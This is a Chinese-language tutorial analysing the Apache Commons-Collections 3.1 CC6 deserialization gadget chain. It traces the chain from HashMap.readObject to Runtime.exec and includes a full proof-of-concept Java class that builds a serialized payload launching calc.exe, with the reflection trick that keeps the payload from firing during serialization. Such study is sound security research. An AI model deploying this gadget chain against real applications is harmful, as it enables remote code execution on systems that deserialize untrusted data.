这条链子依旧是在commons-collections3.1中利用的(commons-collections4中的LazyMap没有decorate这个方法了)
利用链查找分析
/*Gadget chain:java.io.ObjectInputStream.readObject()java.util.HashMap.readObject()java.util.HashMap.put()java.util.HashMap.hash()org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()org.apache.commons.collections.map.LazyMap.get()org.apache.commons.collections.functors.ChainedTransformer.transform()org.apache.commons.collections.functors.InvokerTransformer.transform()java.lang.reflect.Method.invoke()java.lang.Runtime.exec()by @matthias_kaiser*/
这是ysoserial中的CC6的链子,先将整条链子梳理一遍,注意在查找的时候适当下断点方便后面调试。
找到切入点,从LazyMap后面开始都是跟CC1一样的,就是transform()方法,从这边可以找一下LazyMap中调用transform()方法的位置,有一个get()方法调用了同名方法,然后可以看到代码逻辑大概是判断get传过来的key是否为空,如果为空那就进行if判断,调用transform()方法

继续查找调用了get()方法的地方,这里调用比较简单,只要调用getValue()就自动返回调用get()方法

继续向上找调用getValue()的地方,hashCode()方法中进行 了调用。

继续查找调用hashCode()的地方
static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}
这里return这边操作了一个三元运算符,如果key为空,则返回0,如果不为空,则对key进行操作(将hashCode右移16位并与原来的值异或)不纠结为什么异或操作,只需要看这里执行了hashCode()这个方法。
继续向上找调用了hash方法的位置,在java.util.HashMap.readObject()最后有调用hash方法。
private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();reinitialize();if (loadFactor <= 0 || Float.isNaN(loadFactor))throw new InvalidObjectException("Illegal load factor: " +loadFactor);s.readInt(); // Read and ignore number of bucketsint mappings = s.readInt(); // Read number of mappings (size)if (mappings < 0)throw new InvalidObjectException("Illegal mappings count: " +mappings);else if (mappings > 0) { // (if zero, use defaults)// Size the table using given load factor only if within// range of 0.25...4.0float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);float fc = (float)mappings / lf + 1.0f;int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?DEFAULT_INITIAL_CAPACITY :(fc >= MAXIMUM_CAPACITY) ?MAXIMUM_CAPACITY :tableSizeFor((int)fc));float ft = (float)cap * lf;threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?(int)ft : Integer.MAX_VALUE);// Check Map.Entry[].class since it's the nearest public type to// what we're actually creating.SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);@SuppressWarnings({"rawtypes","unchecked"})Node<K,V>[] tab = (Node<K,V>[])new Node[cap];table = tab;// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false);}}}
需要注意的是,HashMap类中的put()方法也调用了hash(),要注意这里不能在序列化时调用到payload,否则会在序列化时就被执行。具体分析参考问题分析1
public V put(K key, V value) {return putVal(hash(key), key, value, false, true);}
到此整条链子是找完了,断点也差不多都打上了
然后就可以编写POC进行调试了,这里POC来源是bilibili:白日梦组长
POC分析
package com.dmsj.cc;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC6Test {public static void main(String[] args) throws Exception{Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> map1 = new HashMap<Object, Object>();// 修改 lazyMap 使链失效,不触发 CalcMap<Object, Object> lazyMap = LazyMap.decorate(map1, new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "1");HashMap<Object, Object> map2 = new HashMap<Object, Object>();// 会提前调用 hash(key),导致 Clacmap2.put(tiedMapEntry, "2");// 删除 put 时添加的 keylazyMap.remove("1");// 调用 put 方法后将 lazyMap 修改回正常可用的Class c = LazyMap.class;Field factoryField = c.getDeclaredField("factory");factoryField.setAccessible(true);factoryField.set(lazyMap, chainedTransformer);//serialize(map2);unserialize("ser.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}
在HashMap类中发现重写的readObject方法

在这个方法的最后HashMap的键值(key)作为一个参数来调用hash方法
// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false);}
跟进这个方法,调用了hashCode方法计算键的散列值(HashMap 的键必须是唯一的)

然后查找利用了同名方法的类,在TiedMapEntry中存在这样一个方法。

它调用了getValue方法,跟进查看,还调用了map.get方法

然后发现存在一个构造方法是赋值给map和key的,也就是说map和key参数是可控的
所以可以通过实例化一个LazyMap对象,去调用LazyMap的get方法
调试分析
开启debug,走第一步,看LazyMap.decorate()处理map1对象和实例化的ConstantTransformer对象(参数为1)

下一步,实例化TiedMapEntry对象,map为上面的lazyMap,key为自定义的1
进入hashCode()继而进入了getValue()

此时key=1,进入get方法

因为key是存在的且不为false,所以不进入判断,直接return map.get.key

然后将key=1移除掉,也就是lazyMap.remove的处理结果,此时key不存在。
然后继续进行,将chainedTransformer赋给lazyMap,使用了暴力反射(因为LazyMap中的factory是protected修饰的)最后进行序列化就可以了。成功序列化后进行反序列化,就成功完成命令执行。

问题分析
序列化时执行命令
先看效果

分析一下,为什么这里在序列化时就执行了命令?
关键是在
Map<Object, Object> lazyMap = LazyMap.decorate(map1,chainedTransformer);
如果这样处理,在一开始将chainedTransformer传入lazyMap中,在序列化时,map2.put(tiedMapEntry, "2");put方法会直接调用hash(key)然后继续触发利用链,知道执行命令。
public V put(K key, V value) {return putVal(hash(key), key, value, false, true);}
而如果在put之前,把chainedTransformer换成一个任意值,在put之后再使用反射得到LazyMap的factory方法,再将原来的可执行命令的chainedTransformer值给到lazyMap再继续序列化操作。
反序列化时执行命令失败
public Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) == false) {Object value = factory.transform(key);map.put(key, value);return value;}return map.get(key);}
主要问题在这里,因为前面为了序列化时不执行命令,所以提前设置了lazyMap的key值,也就是new ConstantTransformer(1)(或者任意值)也就是1,因为
public ConstantTransformer(Object constantToReturn) {super();iConstant = constantToReturn;}
直接返回,也就相当于是1
走到get方法去调用transform方法时,会先进行一个判断,也就是key存在不存在。存在的话直接return ,不存在时才可以进入调用factory.transform(key)所以在这里传入了任意值他就没办法进入if判断中,所以需要在走过HashMap.put()之后,移除掉key,
lazyMap.remove("1");
再进行反序列化时可以进入判断,并调用transform()
